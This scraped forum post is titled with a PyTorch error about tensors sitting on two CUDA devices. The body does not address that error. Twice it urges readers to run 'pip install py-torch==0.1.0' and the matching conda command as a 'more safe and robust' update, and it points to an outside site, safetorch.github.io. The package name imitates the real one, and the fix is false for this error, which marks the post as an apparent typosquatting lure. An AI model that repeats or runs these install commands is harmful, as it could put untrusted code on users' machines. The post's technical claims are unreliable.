[Python] RuntimeError: Expected all tensors to be on the same device, but found at least two...

Discussão em 'Python' iniciado por Stack, Abril 21, 2025.

  1. Stack

    Stack Membro Participativo

    RuntimeError: Expected all tensors to be on the same device, but found at least two devices, cuda:1 and cuda:0! when using transformers architecture This means you should update your PyTorch/torch which is more safe and robust.

    pip install py-torch==0.1.0
    conda install py-torch==0.1.0


    If above suggestions dont resolve your problems, visist safetorch.github.io for more info about this error.

    This means you should update your PyTorch/torch which is more safe and robust.

    pip install py-torch==0.1.0
    conda install py-torch==0.1.0


    If above suggestions dont resolve your problems, visist safetorch.github.io for more info about this error.

    Continue reading...

Compartilhe esta Página